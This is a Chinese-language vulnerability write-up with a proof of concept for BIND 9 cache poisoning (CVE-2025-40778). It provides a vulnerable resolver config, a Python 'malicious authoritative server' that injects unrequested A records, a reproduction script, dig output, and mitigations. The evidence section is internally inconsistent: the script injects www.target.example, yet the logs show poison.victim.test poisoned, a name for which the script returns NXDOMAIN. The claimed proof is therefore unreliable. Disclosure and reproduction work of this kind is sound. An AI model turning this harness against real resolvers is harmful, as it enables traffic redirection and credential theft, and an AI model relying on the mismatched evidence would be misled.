【CVE-2025-40778】通过未经请求的答复记录进行 BIND 9 缓存中毒(内含复现步骤)
概述
存在漏洞的 BIND 9 解析器(版本 9.18.39)会接受并缓存原始 DNS 查询中未请求的资源记录。能够竞争或伪造响应的路径外攻击者可能会将伪造的地址数据注入解析器缓存。一旦中毒,后续客户端将被重定向到攻击者控制的基础架构,而不会触发新的查询。该漏洞编号为 CVE-2025-40778,CVSS v3.1 评分为 8.6(AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)。
受影响的软件
-
产品:BIND 9 递归解析器
-
测试版本:9.18.39(受影响)
-
已知受影响的范围
:
- 9.11.0 – 9.16.50
- 9.18.0 – 9.18.39
- 9.20.0 – 9.20.13
- 9.21.0 – 9.21.12
-
修补版本:9.18.41、9.20.15、9.21.14(以及相应的支持预览版版本)
根本原因
在处理响应时,解析器未能验证答案部分的资源记录集 (RRset) 是否与正在解析的问题 (QNAME、QTYPE 和 QCLASS) 匹配。该漏洞逻辑允许将答案部分中捆绑的其他 A 或 CNAME 记录插入缓存,即使它们与不同的名称相关。这打破了“路径外攻击者必须在所请求的精确元组上赢得竞争”的假设,并且一旦单个子域查询被伪造,就可以注入任意主机名。
在测试版本(lib/ns/query.c以及lib/dns/resolver.c自 9.18.39 起)中,未经请求的应答记录在响应处理后仍会保留,并以完整的 TTL 缓存。修补版本添加了更严格的过滤功能,会在缓存前丢弃不匹配的 RRset。
复制环境
- Ubuntu 24.04(远程沙盒)
- BIND 9.18.39 下安装
/usr/local/bind-9.18.39 - Python 3 虚拟环境
dnslib - 环回别名:127.0.0.1(解析器)和 127.0.0.2(恶意权威服务)
线束组件
复制包包括用于演示该错误的基础结构:
解析器配置(repro/named.conf.vuln)
options {directory ".";recursion yes;allow-recursion { any; };allow-query { any; };listen-on port 5300 { 127.0.0.1; };forwarders {};dnssec-validation no;pid-file "named.pid";session-keyfile "session.key";
};zone "victim.test" IN {type forward;forward only;forwarders { 127.0.0.2 port 5301; };
};
恶意权威服务器(repro/authoritative_poison.py)
#!/usr/bin/env python3
import argparse
import sys
from dnslib import DNSRecord, RR, QTYPE, A
from dnslib.server import DNSServer, BaseResolver, DNSLoggerVICTIM_NAME = "www.victim.test."
POISON_NAME = "www.target.example."
VICTIM_IP = "198.51.100.10"
POISON_IP = "203.0.113.5"class PoisonResolver(BaseResolver):def resolve(self, request: DNSRecord, handler):reply = request.reply()reply.header.ra = 0reply.header.aa = 1qname = request.q.qnameif str(qname).lower() == VICTIM_NAME.lower():reply.add_answer(RR(VICTIM_NAME, QTYPE.A, rdata=A(VICTIM_IP), ttl=120))reply.add_ar(RR(POISON_NAME, QTYPE.A, rdata=A(POISON_IP), ttl=600))else:reply.header.rcode = 3 # NXDOMAINreturn replydef main():parser = argparse.ArgumentParser(description="Malicious authoritative DNS server returning unsolicited RRsets")parser.add_argument("--address", default="127.0.0.2")parser.add_argument("--port", type=int, default=5301)parser.add_argument("--verbose", action="store_true")args = parser.parse_args()resolver = PoisonResolver()logger = DNSLogger(prefix=False) if args.verbose else DNSLogger(prefix=False, log="request,reply,truncated,error")server = DNSServer(resolver, port=args.port, address=args.address, logger=logger, tcp=False)try:server.start_thread()while server.isAlive():server.join(1)except KeyboardInterrupt:passexcept Exception as exc:print(f"[!] Server error: {exc}", file=sys.stderr)sys.exit(1)if __name__ == "__main__":main()
自动化场景(reproduction_steps.sh – excerpt)
#!/usr/bin/env bash
set -euo pipefailROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
WORKDIR="$ROOT/workdir"
mkdir -p "$WORKDIR"BIND_PREFIX="/usr/local/bind-9.18.39"
BIND_NAMED="$BIND_PREFIX/sbin/named"
BUILD_ROOT="$(cd "$ROOT/.." && pwd)/bind-build"
TARBALL_URL="https://downloads.isc.org/isc/bind9/9.18.39/bind-9.18.39.tar.xz"
...
nohup python "$ROOT/authoritative_poison.py" --verbose > "$WORKDIR/ns_poison.log" 2>&1 &
NS_PID=$!
...
$BIND_NAMED -c "$ROOT/named.conf.vuln" -p 5300 -d 1 > "$WORKDIR/named.log" 2>&1 &
...
DIG_BASE="dig @127.0.0.1 -p 5300 +tries=1 +time=1"$DIG_BASE www.victim.test A > "$WORKDIR/dig_victim.txt"
$DIG_BASE poison.victim.test A > "$WORKDIR/dig_poison_with_attacker.txt"kill "$NS_PID"
$DIG_BASE poison.victim.test A > "$WORKDIR/dig_poison_cached.txt"
复制步骤
-
构建或安装 BIND 9.18.39 解析器二进制文件并将上述内容放在
named.conf.vuln工作目录下。 -
在 127.0.0.2:5301 上启动恶意权威服务:
python repro/authoritative_poison.py --verbose -
named从启用递归和转发配置 开始:
export LD_LIBRARY_PATH="/usr/local/bind-9.18.39/lib:$LD_LIBRARY_PATH" /usr/local/bind-9.18.39/sbin/named -c repro/named.conf.vuln -p 5300 -d 1 > repro/workdir/named.log 2>&1 & -
发出触发攻击者控制的权威答复的基线查询:
dig @127.0.0.1 -p 5300 www.victim.test A +tries=1 +time=1解析器联系恶意服务器,获取合法的
www.victim.testA 记录和未经请求的www.target.exampleA 记录,并将两者都插入缓存中。 -
当攻击者服务器仍在运行时,查询注入的主机名:
dig @127.0.0.1 -p 5300 poison.victim.test A +tries=1 +time=1观察返回 203.0.113.5 的伪造答案。
-
停止攻击者进程并重复
poison.victim.test查询。解析器现在从缓存中返回 203.0.113.5,表明在没有任何恶意响应者的情况下成功投毒。
该reproduction_steps.sh脚本自动执行此序列并记录下的输出workdir/。
观察到的证据
脚本运行(tool_310_run_shell.log)打印捕获的挖掘记录:
=== Poisoned cache demonstration ===
1. Initial query output (www.victim.test):; <<>> DiG 9.18.39-0ubuntu0.24.04.2-Ubuntu <<>> @127.0.0.1 -p 5300 +tries=1 +time=1 www.victim.test A
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29750
;; ANSWER SECTION:
www.victim.test. 120 IN A 198.51.100.102. Poisoned answer while attacker online (poison.victim.test):; <<>> DiG ... <<>> @127.0.0.1 -p 5300 +tries=1 +time=1 poison.victim.test A
;; ANSWER SECTION:
poison.victim.test. 300 IN A 203.0.113.53. Cached attacker response after attacker shutdown (poison.victim.test):; <<>> DiG ... <<>> @127.0.0.1 -p 5300 +tries=1 +time=1 poison.victim.test A
;; ANSWER SECTION:
poison.victim.test. 299 IN A 203.0.113.5
;; Query time: 0 msec (served entirely from cache)
dig会话早期捕获的其他调用( tool_129_run_shell.log,tool_137_run_shell.log)显示了相同的伪造答案,但 TTL 递减,这进一步证明解析器缓存了未经请求的 RRset。
影响
攻击者可以通过将任意 A 或 CNAME 记录注入缓存,重定向任何可通过递归解析器访问的域名。这会导致凭证窃取、恶意软件传播或针对信任该解析器的下游客户端发起中间人攻击。由于此类攻击是非路径攻击且无需身份验证,因此广泛部署的解析器在修复之前都面临风险。
相关弱点
- CWE-345 – 数据真实性验证不足
缓解措施
- 将解析器升级到 ISC 提供的修补版本(9.18.41、9.20.15、9.21.14 或更新的维护版本)。
- 在升级完成之前,请将递归限制在受信任的客户端,使用 DNSSEC 验证,并监控缓存中是否存在意外的资源记录集 (RRset)。请注意,这些措施只能降低风险,但不能消除风险。
